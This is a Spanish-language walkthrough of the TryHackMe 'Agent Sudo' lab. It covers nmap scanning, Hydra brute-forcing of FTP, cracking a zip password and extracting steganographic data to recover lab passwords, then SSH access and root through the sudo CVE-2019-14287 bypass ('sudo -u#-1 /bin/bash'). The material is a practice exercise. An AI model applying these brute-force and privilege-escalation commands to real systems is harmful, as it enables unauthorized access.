> For the complete documentation index, see [llms.txt](https://enciall.gitbook.io/enciall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://enciall.gitbook.io/enciall/ctf/try-hack-me/agent-sudo.md).

# Agent Sudo

### Iniciamos con un escaneo rápido para identificar los puertos abiertos: &#x20;

```bash
nmap -p- -sS -sV -sC --open --min-rate 5000 -vvv -n -Pn -oN scan.txt 10.201.23.187
```

```bash
Nmap scan report for 10.201.23.187
Host is up, received user-set (0.26s latency).
Scanned at 2025-08-07 15:52:44 CST for 34s
Not shown: 46509 closed tcp ports (reset), 19023 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 60 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5hdrxDB30IcSGobuBxhwKJ8g+DJcUO5xzoaZP/vJBtWoSf4nWDqaqlJdEF0Vu7Sw7i0R3aHRKGc5mKmjRuhSEtuKKjKdZqzL3xNTI2cItmyKsMgZz+lbMnc3DouIHqlh748nQknD/28+RXREsNtQZtd0VmBZcY1TD0U4XJXPiwleilnsbwWA7pg26cAv9B7CcaqvMgldjSTdkT1QNgrx51g4IFxtMIFGeJDh2oJkfPcX6KDcYo6c9W1l+SCSivAQsJ1dXgA2bLFkG/wPaJaBgCzb8IOZOfxQjnIqBdUNFQPlwshX/nq26BMhNGKMENXJUpvUTshoJ/rFGgZ9Nj31r
|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHdSVnnzMMv6VBLmga/Wpb94C9M2nOXyu36FCwzHtLB4S4lGXa2LzB5jqnAQa0ihI6IDtQUimgvooZCLNl6ob68=
|   256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOL3wRjJ5kmGs/hI4aXEwEndh81Pm/fvo8EvcpDHR5nt
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  7 15:53:18 2025 -- 1 IP address (1 host up) scanned in 34.86 seconds
```

vemos varios puetos abiertos y vamos a ver el puerto 80

<figure><img src="/files/fVZdE1wEMYSTfHSeVfuE" alt=""><figcaption></figcaption></figure>

> Estimados agentes,
>
> Utilice su propio nombre en clave como user-agent para acceder al sitio.
>
> De,\
> Agente R

nos dice que los agentes uses su nombre en clave como ***User-Agent*** y esto es una pista porque al final nos dice que lo escribio el Agente **R** y **R** es un nombre en clave asi que probemos mas letras como nombre en clave podemos hacerlo de dos formas con ***Curl*** o ***Burp Suite*** pero haremos las dos <br>

probamos un par de letras hasta que las C nos da esto:

```bash
curl -A "C" -L 10.201.5.147
```

```http
Attention chris, <br><br>

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak! <br><br>

From,<br>
Agent R 
```

> Atención Chris,
>
> ¿todavía recuerdas nuestro trato? Por favor, dile al agente J sobre las cosas lo antes posible. Además, cambia tu maldita contraseña, ¡es débil!
>
> De,\
> Agente R

Nos da un usuario **Chris** y ademas nos dice que es debir asi que probemos usar ***hydra*** probemos en ***FTP***

```bash
hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.201.5.147 
```

```bash
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-08 20:25:56
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.201.5.147:21/
[21][ftp] host: 10.201.5.147   login: chris   password: crystal
[STATUS] 14344399.00 tries/min, 14344399 tries in 00:01h, 1 to do in 00:01h, 5 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-08 20:26:59
```

entramos en FTP:

```bash
ftp 10.201.5.147
```

```bash
Connected to 10.201.5.147.
220 (vsFTPd 3.0.3)
Name (10.201.5.147:enciall): chris
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||26264|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.
ftp> 
```

hacemo un ls y vemos que tenemos varios archivos y los descargamos

```bash
ftp> ls
229 Entering Extended Passive Mode (|||8481|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.
ftp> get To_agentJ.txt
local: To_agentJ.txt remote: To_agentJ.txt
229 Entering Extended Passive Mode (|||60196|)
150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
100% |*******************************************************************************************************************************************************************|   217      563.60 KiB/s    00:00 ETA
226 Transfer complete.
217 bytes received in 00:00 (1.69 KiB/s)
ftp> get cute-alien.jpg
local: cute-alien.jpg remote: cute-alien.jpg
229 Entering Extended Passive Mode (|||56092|)
150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).
100% |*******************************************************************************************************************************************************************| 33143      132.50 KiB/s    00:00 ETA
226 Transfer complete.
33143 bytes received in 00:00 (88.17 KiB/s)
ftp> get cutie.png
local: cutie.png remote: cutie.png
229 Entering Extended Passive Mode (|||14612|)
150 Opening BINARY mode data connection for cutie.png (34842 bytes).
100% |*******************************************************************************************************************************************************************| 34842      133.39 KiB/s    00:00 ETA
226 Transfer complete.
34842 bytes received in 00:00 (89.60 KiB/s)
ftp> 
```

leemos el archivo:

```bash
cat To_agentJ.txt
```

```bash
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C
```

> Estimado agente J,
>
> ¡Todas estas fotos que parecen alienígenas son falsas! El agente R almacenó la foto real dentro de tu directorio. Tu contraseña de acceso está de alguna manera almacenada en la foto falsa. No debería ser un problema para usted.
>
> De,\
> Agente C

uuuuuuuy asi que veamos que hay en esas fotos:

probemos aver que hay en la primera foto:

```bash
binwalk cute-alien.jpg 
```

```
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
```

no hay nada siguiente foto:

```bash
binwalk cutie.png 
```

```
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22
```

aqui si hay algo vemos un .zip asi que descargemoslo&#x20;

```bash
sudo binwalk -e --run-as=root cutie.png
```

```
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
```

se nos generara una carpeta (o archivo) en el que estara el archivo .zip 8702.zip ahora usemos john para crackear el archivo porque tiene contraseña asi que usemos una herramienta para pasar el zip a un formato que john pueda leer:

```bash
zip2john 8702.zip > hash.txt  
```

ahora a hackearla

```bash
john hash.txt
```

```bash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
alien            (8702.zip/To_agentR.txt)     
1g 0:00:00:02 DONE 2/3 (2025-08-08 21:07) 0.4830g/s 31364p/s 31364c/s 31364C/s michael!..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

nos da una contraseña **alien** nos dice que tiene un archivo asi que descargemoslo&#x20;

```bash
7z x 8702.zip 
```

```bash
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=es_MX.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280

    
Enter password (will not be echoed):
Everything is Ok

Size:       86
Compressed: 280
```

veamos el archivo

```bash
cat To_agentR.txt
```

```bash
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R
```

> Agente C,
>
> ¡Necesitamos enviar la foto a “QXJlYTUx” lo antes posible!
>
> Por,\
> Agente R

parece que es algo encriptado usaremos esta web para tratar de desifrarlo

{% embed url="<https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=UVhKbFlUVXg>" %}

<figure><img src="/files/oH5umN2FzAuYIB06M90R" alt=""><figcaption></figcaption></figure>

nos da una contraseña probemos a extraer contenido del otro archivo de imagen

```
steghide extract -sf cute-alien.jpg
```

```
Anotar salvoconducto: 
ya existe el archivo "message.txt". �lo sobreescribo? (s/n) S
steghide: no grab� en el archivo "message.txt".
```

```
cat message.txt
```

```
Hi james,

Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
```

> Hola James
>
> Me alegro de que encuentres este mensaje. ¡Tu contraseña de acceso es **hackerrules!**\
> No me preguntes por qué la contraseña se ve cursi, pregúntale al agente R que estableció esta contraseña para ti.
>
> Tu amigo,\
> chris

nos da el nombre completo de J: james y su contraseña asi que probemosla en ssh

```
ssh james@10.201.5.147
```

una vez dentro vemos la bandera de usuario en la siguiente pregunta nos dice lo de la foto asi que descarguemos la foto con scp

```
scp james@10.201.5.147:Alien_autospy.jpg /home/enciall/THM/agent-sudo
```

esto hazlo fuera de ssh y pon un directorio que exista en tu maquina busca la imagen en: [**https://images.google.com/**](https://images.google.com/) y en foxnews el titulo tendra la respuesta

ahora a elevar privilegios:

usemos sudo -l para ver que permisos tiene James

```
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash
```

uuum no hay mucho asi que usemos sudo -V para ver la version de sudo&#x20;

```
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
```

este es el exploit que necesitamos:

<https://nvd.nist.gov/vuln/detail/CVE-2019-14287>

asi que elevemos privilegios con:

```
sudo -u#-1 /bin/bash
```

y seremos root la flag de root esta en /root

yyyyy ya eso es todo, chao
